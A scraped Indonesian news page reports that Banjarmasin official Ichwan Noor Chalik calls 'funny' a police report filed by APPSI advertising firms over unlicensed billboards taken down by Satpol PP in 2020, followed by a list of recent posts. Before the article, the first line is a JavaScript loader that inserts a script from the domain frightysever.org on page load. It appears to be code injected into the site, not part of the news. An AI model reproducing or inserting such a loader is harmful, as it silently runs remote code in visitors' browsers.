(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Dilaporkan ke Kepolisian oleh Pengusaha Advertising, Ichwan: Laporan Itu Lucu!


KANALKALIMANTAN.COM, BANJARMASIN – Pelaporan sejumlah pengusaha periklanan yang tergabung dalam Asosiasi Pengusaha Periklanan Seluruh Indonesia (APPSI) Kalimantan Selatan ke Polda Kalsel, ditanggapi santai mantan Plt Kasatpol PP Kota Banjarmasin Ichwan Noor Chalik. Kini ia menjabat Kepala Dinas Perhubungan (Dishub) Kota Banjarmasin.

Ditemui di ruang kerja Selasa (23/6/2020) siang, Ichwan malah mempertanyakan perusakan yang menjadi dasar laporan pengusaha periklanan ke Polda Kalsel. Padahal, apa yang dilakukan oleh jajaran Satpol PP Kota Banjarmasin hanyalah upaya penertiban.

“Kalau saya dituduh melakukan perusakan, ya lucu juga. Siapa yang merusak? Wong saya di rumah kok,” kata Ichwan.

Ichwan pun menegaskan, keberadaan bando reklame itu sudah tidak memiliki izin lagi sejak tahun 2018 silam, tentu berdasar surat dari Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kota Banjarmasin. Sembari memperlihatkan surat yang ditandatangani oleh Kepala DPMPTSP Kota Banjarmasin Muryanta, Ichwan menegaskan izin bando reklame itu sudah tak lagi diperpanjang sejak tahun 2018.

“Sehingga sejak 2019 hingga 2020 itu, izin (bando reklame) sudah mati. Sedangkan bando reklame yang ada itu keberadaannya ilegal. Ilegal itu, karena berada di atas tanah negara,” tegas Ichwan.

Disamping itu, penertiban bando reklame yang dilakukan olehnya selama memimpin aparat penegak perda itu, hanyalah upaya melaksanakan putusan PTUN Banjarmasin yang sudah inkrah.

Bando reklame di Banjarmasin sudah tidak mengantongi izin sejak tahun 2018. foto: fikri

Lantaran sudah dilaporkan ke Polda Kalsel, Ichwan pun sudah siap untuk mengikuti proses hukum yang berlaku. Bahkan ia siap dipanggil kepolisian kapanpun.

Baca juga: Buntut 10 Bando Reklame Dibongkar, APPSI Kalsel Laporkan Ichwan ke Polisi

Lalu, apakah Ichwan berencana akan melakukan laporan balik? Ia mengaku akan berkonsultasi terlebih dahulu dengan Bagian Hukum Setdako Banjarmasin dan Inspektorat Banjarmasin.

“Habis itu meminta persetujuan juga dengan pak Wali Kota. Karena saya bawahan pak Wali Kota, jika menyetujui kita teruskan. Tapi saya konsultasikan dulu,” pungkas Ichwan.

Bahkan, Ichwan pun tak segan-segan akan berani ‘buka-bukaan’, jika memang ia dipanggil oleh kepolisian untuk menjalani pemeriksaan. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

2 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

4 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

5 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

6 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

6 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

10 jam ago

This website uses cookies.